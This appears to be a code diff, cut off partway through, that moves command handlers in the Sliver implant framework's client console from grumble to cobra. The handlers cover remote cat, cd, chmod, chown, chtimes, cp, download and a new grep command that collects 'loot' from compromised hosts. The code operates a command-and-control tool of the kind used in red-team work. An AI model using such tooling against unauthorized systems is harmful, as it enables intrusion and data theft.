func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name := args[0]
|
||||
if name == "" {
|
||||
con.PrintErrorf("Extension name is required\n")
|
||||
return
|
||||
@@ -62,7 +63,6 @@ func RemoveExtensionByCommandName(commandName string, con *console.SliverConsole
|
||||
return errors.New("extension not loaded")
|
||||
}
|
||||
delete(loadedExtensions, commandName)
|
||||
con.App.Commands().Remove(commandName)
|
||||
extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
|
||||
if _, err := os.Stat(extPath); os.IsNotExist(err) {
|
||||
return nil
|
||||
|
||||
@@ -27,24 +27,27 @@ import (
|
||||
"github.com/alecthomas/chroma/formatters"
|
||||
"github.com/alecthomas/chroma/lexers"
|
||||
"github.com/alecthomas/chroma/styles"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CatCmd - Display the contents of a remote file
|
||||
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
var filePath string
|
||||
if len(args) > 0 {
|
||||
filePath = args[0]
|
||||
}
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file name\n")
|
||||
return
|
||||
@@ -53,8 +56,9 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
RestrictedToFile: true,
|
||||
Path: filePath,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -69,23 +73,23 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintCat(download, ctx, con)
|
||||
PrintCat(download, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
PrintCat(download, ctx, con)
|
||||
PrintCat(download, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintCat - Print the download to stdout
|
||||
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func PrintCat(download *sliverpb.Download, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
lootDownload bool = true
|
||||
err error
|
||||
)
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
userLootFileType := ctx.Flags.String("file-type")
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
userLootFileType, _ := cmd.Flags().GetString("file-type")
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
@@ -101,16 +105,16 @@ func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.Sl
|
||||
if saveLoot {
|
||||
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
|
||||
if lootDownload {
|
||||
loot.LootDownload(download, lootName, fileType, ctx, con)
|
||||
loot.LootDownload(download, lootName, fileType, cmd, con)
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
if ctx.Flags.Bool("colorize-output") {
|
||||
if color, _ := cmd.Flags().GetBool("colorize-output"); color {
|
||||
if err = colorize(download); err != nil {
|
||||
con.Println(string(download.Data))
|
||||
}
|
||||
} else {
|
||||
if ctx.Flags.Bool("hex") {
|
||||
if phex, _ := cmd.Flags().GetBool("hex"); phex {
|
||||
con.Println(hex.Dump(download.Data))
|
||||
} else {
|
||||
con.Println(string(download.Data))
|
||||
|
||||
@@ -21,24 +21,29 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CdCmd - Change directory on the remote system
|
||||
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func CdCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
filePath := ctx.Args.String("path")
|
||||
|
||||
filePath := "."
|
||||
if len(args) == 1 {
|
||||
filePath = args[0]
|
||||
}
|
||||
|
||||
pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
@@ -20,40 +20,43 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ChmodCmd - Change the permissions of a file on the remote file system
|
||||
func ChmodCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ChmodCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
filePath := args[0]
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
fileMode := ctx.Args.String("mode")
|
||||
fileMode := args[1]
|
||||
|
||||
if fileMode == "" {
|
||||
con.PrintErrorf("Missing parameter: file permissions (mode)\n")
|
||||
return
|
||||
}
|
||||
|
||||
recursive, _ := cmd.Flags().GetBool("recursive")
|
||||
|
||||
chmod, err := con.Rpc.Chmod(context.Background(), &sliverpb.ChmodReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
FileMode: fileMode,
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
Recursive: recursive,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -20,48 +20,51 @@ package filesystem
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ChownCmd - Change the owner of a file on the remote file system
|
||||
func ChownCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ChownCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("path")
|
||||
filePath := args[0]
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
uid := ctx.Args.String("uid")
|
||||
uid := args[1]
|
||||
|
||||
if uid == "" {
|
||||
con.PrintErrorf("Missing parameter: user id\n")
|
||||
return
|
||||
}
|
||||
|
||||
gid := ctx.Args.String("gid")
|
||||
gid := args[2]
|
||||
|
||||
if gid == "" {
|
||||
con.PrintErrorf("Missing parameter: group id\n")
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
recursive, _ := cmd.Flags().GetBool("recursive")
|
||||
|
||||
chown, err := con.Rpc.Chown(context.Background(), &sliverpb.ChownReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
Uid: uid,
|
||||
Gid: gid,
|
||||
Recursive: ctx.Flags.Bool("recursive"),
|
||||
Uid: uid,
|
||||
Gid: gid,
|
||||
Recursive: recursive,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -21,30 +21,31 @@ import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ChtimesCmd - Change the access and modified time of a file on the remote file system
|
||||
func ChtimesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ChtimesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
// DateTime layout (https://pkg.go.dev/time)
|
||||
layout := "2006-01-02 15:04:05"
|
||||
filePath := ctx.Args.String("path")
|
||||
filePath := args[0]
|
||||
|
||||
if filePath == "" {
|
||||
con.PrintErrorf("Missing parameter: file or directory name\n")
|
||||
return
|
||||
}
|
||||
|
||||
atime := ctx.Args.String("atime")
|
||||
atime := args[1]
|
||||
|
||||
if atime == "" {
|
||||
con.PrintErrorf("Missing parameter: Last accessed time id\n")
|
||||
@@ -58,7 +59,7 @@ func ChtimesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
unixAtime := t_a.Unix()
|
||||
|
||||
mtime := ctx.Args.String("mtime")
|
||||
mtime := args[2]
|
||||
|
||||
if mtime == "" {
|
||||
con.PrintErrorf("Missing parameter: Last modified time id\n")
|
||||
@@ -71,12 +72,12 @@ func ChtimesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
unixMtime := t_b.Unix()
|
||||
|
||||
|
||||
chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: filePath,
|
||||
ATime: unixAtime,
|
||||
MTime: unixMtime,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: filePath,
|
||||
ATime: unixAtime,
|
||||
MTime: unixMtime,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if len(args) != 2 {
|
||||
con.PrintErrorf("Please specify a source and destination filename.\n")
|
||||
return
|
||||
}
|
||||
|
||||
src := args[0]
|
||||
dst := args[1]
|
||||
|
||||
cp, err := con.Rpc.Cp(context.Background(), &sliverpb.CpReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Src: src,
|
||||
Dst: dst,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
cp.Src, cp.Dst = src, dst
|
||||
|
||||
if cp.Response != nil && cp.Response.Async {
|
||||
con.AddBeaconCallback(cp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, cp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(cp.Response)
|
||||
} else {
|
||||
PrintCp(cp, con)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) {
|
||||
if cp.Response != nil && cp.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", cp.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Copied '%s' to '%s' (%d bytes written)\n", cp.Src, cp.Dst, cp.BytesWritten)
|
||||
}
|
||||
@@ -28,31 +28,33 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
recurse := ctx.Flags.Bool("recurse")
|
||||
|
||||
remotePath := args[0]
|
||||
recurse, _ := cmd.Flags().GetBool("recurse")
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
Recurse: recurse,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: remotePath,
|
||||
Recurse: recurse,
|
||||
RestrictedToFile: false,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -67,13 +69,12 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
HandleDownloadResponse(download, ctx, con)
|
||||
HandleDownloadResponse(download, cmd, args, con)
|
||||
})
|
||||
con.PrintAsyncResponse(download.Response)
|
||||
} else {
|
||||
HandleDownloadResponse(download, ctx, con)
|
||||
HandleDownloadResponse(download, cmd, args, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func prettifyDownloadName(path string) string {
|
||||
@@ -104,7 +105,7 @@ func prettifyDownloadName(path string) string {
|
||||
return filteredString
|
||||
}
|
||||
|
||||
func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, args []string, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
@@ -118,9 +119,14 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
|
||||
}
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("remote-path")
|
||||
localPath := ctx.Args.String("local-path")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
remotePath := args[0]
|
||||
var localPath string
|
||||
if len(args) == 1 {
|
||||
localPath = "."
|
||||
} else {
|
||||
localPath = args[1]
|
||||
}
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
|
||||
if download.ReadFiles == 0 {
|
||||
// No files downloaded successfully.
|
||||
@@ -129,10 +135,11 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
lootName := ctx.Flags.String("name")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
// Hand off to the loot package to take care of looting
|
||||
fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
|
||||
loot.LootDownload(download, lootName, fileType, ctx, con)
|
||||
fType, _ := cmd.Flags().GetString("file-type")
|
||||
fileType := loot.ValidateLootFileType(fType, download.Data)
|
||||
loot.LootDownload(download, lootName, fileType, cmd, con)
|
||||
} else {
|
||||
fileName := filepath.Base(remotePath)
|
||||
dst, err := filepath.Abs(localPath)
|
||||
|
||||
@@ -0,0 +1,304 @@
|
||||
package filesystem
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/fatih/color"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const maxLinesDisplayed = 50
|
||||
|
||||
func processFlags(searchPattern string, insensitive bool, exact bool) string {
|
||||
if !insensitive && !exact {
|
||||
return searchPattern
|
||||
}
|
||||
|
||||
var processedSearchPattern = searchPattern
|
||||
|
||||
flagsAtBeginning, _ := regexp.Compile(`^\(\?.*\)`)
|
||||
flagsSpecifiedIndex := flagsAtBeginning.FindStringIndex(searchPattern)
|
||||
|
||||
if insensitive {
|
||||
if flagsSpecifiedIndex != nil {
|
||||
// If we matched, flagsSpecifiedIndex[0] will always be 0 (the start of the string)
|
||||
flags := searchPattern[:flagsSpecifiedIndex[1]]
|
||||
if !strings.Contains(flags, "i") {
|
||||
processedSearchPattern = "(?i" + searchPattern[2:]
|
||||
}
|
||||
} else {
|
||||
processedSearchPattern = "(?i)" + processedSearchPattern
|
||||
}
|
||||
}
|
||||
|
||||
// For exact matches, we will replace any start and end of line anchors with (^|\s) and (\s|$) respectively
|
||||
flagsSpecifiedIndex = flagsAtBeginning.FindStringIndex(processedSearchPattern)
|
||||
|
||||
if exact {
|
||||
var endIndexOfFlags = 0
|
||||
|
||||
if flagsSpecifiedIndex != nil {
|
||||
endIndexOfFlags = flagsSpecifiedIndex[1]
|
||||
}
|
||||
if strings.HasPrefix(processedSearchPattern[endIndexOfFlags:], "^") {
|
||||
processedSearchPattern = processedSearchPattern[:endIndexOfFlags] + strings.Replace(processedSearchPattern[endIndexOfFlags:], "^", `(^|\s)`, 1)
|
||||
} else {
|
||||
processedSearchPattern = `(^|\s)` + processedSearchPattern
|
||||
}
|
||||
|
||||
if strings.HasSuffix(processedSearchPattern, "$") {
|
||||
processedSearchPattern = processedSearchPattern[:len(processedSearchPattern)-1] + `(\s|$)`
|
||||
} else {
|
||||
processedSearchPattern = processedSearchPattern + `(\s|$)`
|
||||
}
|
||||
}
|
||||
|
||||
return processedSearchPattern
|
||||
}
|
||||
|
||||
func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
searchPattern := args[0]
|
||||
searchPath := args[1]
|
||||
|
||||
recursive, _ := cmd.Flags().GetBool("recursive")
|
||||
insensitive, _ := cmd.Flags().GetBool("insensitive")
|
||||
exact, _ := cmd.Flags().GetBool("exact")
|
||||
|
||||
searchPatternProcessed := processFlags(searchPattern, insensitive, exact)
|
||||
|
||||
// Sanity check the search pattern to validate that it is a valid regex
|
||||
_, err := regexp.Compile(searchPattern)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s is not a valid regex: %s\n", searchPattern, err)
|
||||
return
|
||||
}
|
||||
|
||||
// Context overrides individual values for before and after
|
||||
var linesBefore int32 = 0
|
||||
var linesAfter int32 = 0
|
||||
|
||||
if cmd.Flags().Changed("context") {
|
||||
linesBefore, _ = cmd.Flags().GetInt32("context")
|
||||
linesAfter = linesBefore
|
||||
} else {
|
||||
linesBefore, _ = cmd.Flags().GetInt32("before")
|
||||
linesAfter, _ = cmd.Flags().GetInt32("after")
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Searching for %s in %s ...", searchPattern, searchPath), ctrl)
|
||||
|
||||
grep, err := con.Rpc.Grep(context.Background(), &sliverpb.GrepReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
SearchPattern: searchPatternProcessed,
|
||||
Path: searchPath,
|
||||
Recursive: recursive,
|
||||
LinesBefore: linesBefore,
|
||||
LinesAfter: linesAfter,
|
||||
})
|
||||
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if grep.Response != nil && grep.Response.Async {
|
||||
con.AddBeaconCallback(grep.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, grep)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
// Using args[0] so that the operator's original input is preserved
|
||||
printGrep(grep, args[0], searchPath, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(grep.Response)
|
||||
} else {
|
||||
printGrep(grep, args[0], searchPath, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
// printGrep - Print the results from the grep operation to stdout
|
||||
func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
colorize, _ := cmd.Flags().GetBool("colorize-output")
|
||||
userLootFileType, _ := cmd.Flags().GetString("file-type")
|
||||
currentDateTime := time.Now().Format("2006-01-02_150405")
|
||||
if !cmd.Flags().Changed("lootName") {
|
||||
// If the loot name has not been specified by the operator, generate one
|
||||
con.GetActiveSessionConfig()
|
||||
lootName = fmt.Sprintf("grep from %s on %s (%s)", searchPath, con.GetActiveSessionConfig().ID, currentDateTime)
|
||||
}
|
||||
if grep.Response != nil && grep.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", grep.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
grepResults, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, colorize, true)
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
// If there are more than maxResultsDisplayed results, then loot the rest so that we do not overfill the console
|
||||
saveLoot = true
|
||||
}
|
||||
|
||||
var resultQualifier string
|
||||
var displayLimit string
|
||||
|
||||
if numberOfResults == 1 {
|
||||
resultQualifier = "line"
|
||||
} else {
|
||||
resultQualifier = "lines"
|
||||
}
|
||||
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
displayLimit = fmt.Sprintf(" (%d displayed, including context if available)", maxLinesDisplayed)
|
||||
}
|
||||
|
||||
con.Printf("Found %d matching %s for %s in %s%s\n\n", numberOfResults, resultQualifier, searchPattern, searchPath, displayLimit)
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
con.Println(strings.Join(grepResults[:maxLinesDisplayed+1], "\n"))
|
||||
} else {
|
||||
con.Println(strings.Join(grepResults, "\n"))
|
||||
}
|
||||
|
||||
if len(grepResults) > maxLinesDisplayed {
|
||||
con.PrintWarnf("Number of output lines exceed %d. The full output is available in the loot file \"%s\"\n", maxLinesDisplayed, lootName)
|
||||
}
|
||||
if len(binaryFilesMatched) > 0 {
|
||||
con.PrintInfof("The following binary files contained one or more matches that may not be reflected above:\n")
|
||||
for _, fileName := range binaryFilesMatched {
|
||||
con.Printf("\t%s\n", fileName)
|
||||
}
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
// Do not allow escape sequences in the output when looting
|
||||
grepResultsForLoot, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, false, false)
|
||||
|
||||
lootFileName := fmt.Sprintf("grep_%s_%s.txt", con.GetActiveSessionConfig().ID, currentDateTime)
|
||||
flags := []string{}
|
||||
if recursive, _ := cmd.Flags().GetBool("recursive"); recursive {
|
||||
flags = append(flags, "recursive")
|
||||
}
|
||||
if exact, _ := cmd.Flags().GetBool("exact"); exact {
|
||||
flags = append(flags, "exact match")
|
||||
}
|
||||
if insensitive, _ := cmd.Flags().GetBool("insensitive"); insensitive {
|
||||
flags = append(flags, "case insensitive search")
|
||||
}
|
||||
|
||||
// Add a header to the looted grep results to indicate what the pattern was and what was searched
|
||||
grepResultsString := fmt.Sprintf("Search pattern: %s\nSearch location: %s\n", searchPattern, grep.SearchPathAbsolute)
|
||||
if len(flags) > 0 {
|
||||
grepResultsString += fmt.Sprintf("Search flags: %s\n", strings.Join(flags, ", "))
|
||||
}
|
||||
grepResultsString += fmt.Sprintf("Number of Results: %d\n\n%s", numberOfResults, strings.Join(grepResultsForLoot, "\n"))
|
||||
if len(binaryFilesMatched) > 0 {
|
||||
grepResultsString += "\nThe following binary files contained one or more matches:\n"
|
||||
grepResultsString += strings.Join(binaryFilesMatched, "\n")
|
||||
}
|
||||
fileType := loot.ValidateLootFileType(userLootFileType, []byte(grepResultsString))
|
||||
loot.LootText(grepResultsString, lootName, lootFileName, fileType, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// grepLineResult - Add color or formatting for results for console output
|
||||
func grepLineResult(positions []*sliverpb.GrepLinePosition, line string, colorize bool, allowFormatting bool) string {
|
||||
var result string = ""
|
||||
var matchOutput func(a ...interface{}) string
|
||||
var previousPositionEnd int32 = 0
|
||||
|
||||
if colorize {
|
||||
matchOutput = color.New(color.FgRed, color.Bold).SprintFunc()
|
||||
} else if allowFormatting {
|
||||
matchOutput = color.New(color.Bold).SprintFunc()
|
||||
}
|
||||
|
||||
for idx, position := range positions {
|
||||
if colorize || allowFormatting {
|
||||
result += line[previousPositionEnd:position.Start]
|
||||
result += matchOutput(line[position.Start:position.End])
|
||||
if idx == len(positions)-1 {
|
||||
result += line[position.End:]
|
||||
} else {
|
||||
previousPositionEnd = position.End
|
||||
}
|
||||
} else {
|
||||
result = line
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// printGrepResults - Take the results from the implant and put them together for output to the console or loot
|
||||
func printGrepResults(results map[string]*sliverpb.GrepResultsForFile, colorize bool, allowFormatting bool) ([]string, int, []string) {
|
||||
var resultOutput []string
|
||||
var numberOfResults = 0
|
||||
binaryFilesMatched := []string{}
|
||||
|
||||
for fileName, result := range results {
|
||||
if result.IsBinary {
|
||||
if len(result.FileResults) > 0 {
|
||||
binaryFilesMatched = append(binaryFilesMatched, fileName)
|
||||
}
|
||||
